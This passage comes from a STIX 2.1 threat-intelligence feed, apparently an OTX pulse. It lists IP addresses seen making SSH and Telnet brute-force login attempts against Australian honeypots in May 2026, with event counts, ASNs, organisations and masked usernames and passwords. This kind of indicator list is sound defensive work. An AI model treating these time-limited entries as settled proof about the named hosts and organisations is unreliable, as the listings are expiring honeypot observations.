      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 950. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24961. Organisation(s): WIIT AG.",
      "id": "indicator--1bdf73ff-465c-42f0-bca4-0f1fae82724a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.30.157.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--cd1279ca-e20f-4dd8-8912-5595fa8f5888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.159.210.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 58659. Organisation(s): Quest Consultancy Pvt Ltd.",
      "id": "indicator--f01bc82b-d39a-4e2a-8eac-75e567f7b6d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.236.154.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--1838074d-3c52-4538-a881-1cbb5ac3f799",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.75.71.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f226f7b7-8f1e-4616-a3d4-cad6167158c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.229.166.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2e6d4418-65f5-4c7d-bc53-04e43e36154d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 267263. Organisation(s): VIVA TELECOM.",
      "id": "indicator--fb3c0628-da7e-4a14-ba24-b4f33ebbd407",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.238.24.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52870. Organisation(s): Disk Sistema Telecomunicacoes Ltda..",
      "id": "indicator--481bfa78-99f3-451f-884f-2cf429ffe1b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.128.122.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--a26c4754-313c-4c0b-af0d-7158a579c3fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.242.148.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 69. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: AE. ASN(s): 210718. Organisation(s): Five Cyber Host Security S.r.l.. Usernames observed (masked): r**t. Passwords observed (masked): , 1***5, a***n, p******d, r**t.",
      "id": "indicator--4df96763-9d8a-4c62-ad28-d9aa12669574",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.129.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 23584. Organisation(s): PUSAN CABLE TV SYSTEM CO., LTD..",
      "id": "indicator--49b6792a-21c4-456c-ac81-c4abb8e0a17b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.126.138.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--524ef36d-069e-4a6c-8fb2-26738d127677",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.181.223.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 216473. Organisation(s): Bashinskii Vadim Ruslanovich.",
      "id": "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:15:10.000Z",
      "valid_until": "2026-06-09T21:15:09.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 327901. Organisation(s): Level7-AS.",
      "id": "indicator--eb000f9e-a2ca-4e55-b233-0fc4be3ef998",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.141.189.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u. Passwords observed (masked): a*******4.",
      "id": "indicator--0f6350d9-fc34-4aa1-aecb-b839cf248ddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.170.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28146. Organisation(s): MHNET TELECOM.",
      "id": "indicator--5aeca6f1-1ec8-482c-8c37-fb3bd5f8b6da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.75.107.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--9ac1556d-8946-40bf-9ae7-6c78251b6c11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.22.253.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--a3179c57-dbb1-4eaa-8bae-bd8d2d7b3594",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.55.130.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--e46ff1d7-78ed-474d-9600-533fda4bbc5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.217.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 27161. Organisation(s): Litnics, LLC.",
      "id": "indicator--01a41ad2-62a5-41fd-919b-9c36ed1b574f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.212.244.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23033. Organisation(s): Wowrack.com.",
      "id": "indicator--68fcfb5c-2c96-4d16-8576-3771df84d6ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.90.232.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--422ea8e0-abb3-4326-9e57-9e3101ecb89e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.13.122.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--5d0550e2-34cb-48c7-a403-598baee92723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.45.244.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--fb2f5d32-c357-40fe-932f-c7566bee8958",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.214.56.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:15:05.000Z",
      "valid_until": "2026-06-09T22:15:03.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 208949. Organisation(s): Hbing Limited.",
      "id": "indicator--2b3ee1ea-1255-4e1b-9737-901de3cf79f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.129.200.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a***n, ***, u****u. Passwords observed (masked): 1**********C, ***, 2****2, 3***********4, 3**********4.",
      "id": "indicator--74cb628a-e744-4759-a30b-46ec5fea02dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.146.202.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ec0fa1b8-637d-4e25-802e-b77c231c317f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.96.165.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264483. Organisation(s): RP Telecom.",
      "id": "indicator--a9cf9e26-b6e1-4eee-b3fd-45f4d9c0a3fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.255.91.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8987f1f3-1f1f-408e-b480-ea603dc21f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--6061f11c-9ef0-48eb-a0cf-a5c348508f00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.205.54.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28126. Organisation(s): BRISANET SERVICOS DE TELECOMUNICACOES S.A.",
      "id": "indicator--2e9dad43-aa34-4e6d-8e8e-f14dd7d819f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.19.195.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--e84336a7-d7de-475e-a566-d7f463f96c74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.135.193.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--166cdb64-6912-457b-bced-6f9a016dc017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.245.91.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--1bd05f44-5ed2-476b-8967-19e916063bd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.120.81.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--d6cfaf95-98af-4e2d-848b-2aa609424164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.37.116.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:15:10.000Z",
      "valid_until": "2026-06-09T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b0e6495e-e168-41fd-aaf2-9d4231051da7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.130.210.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
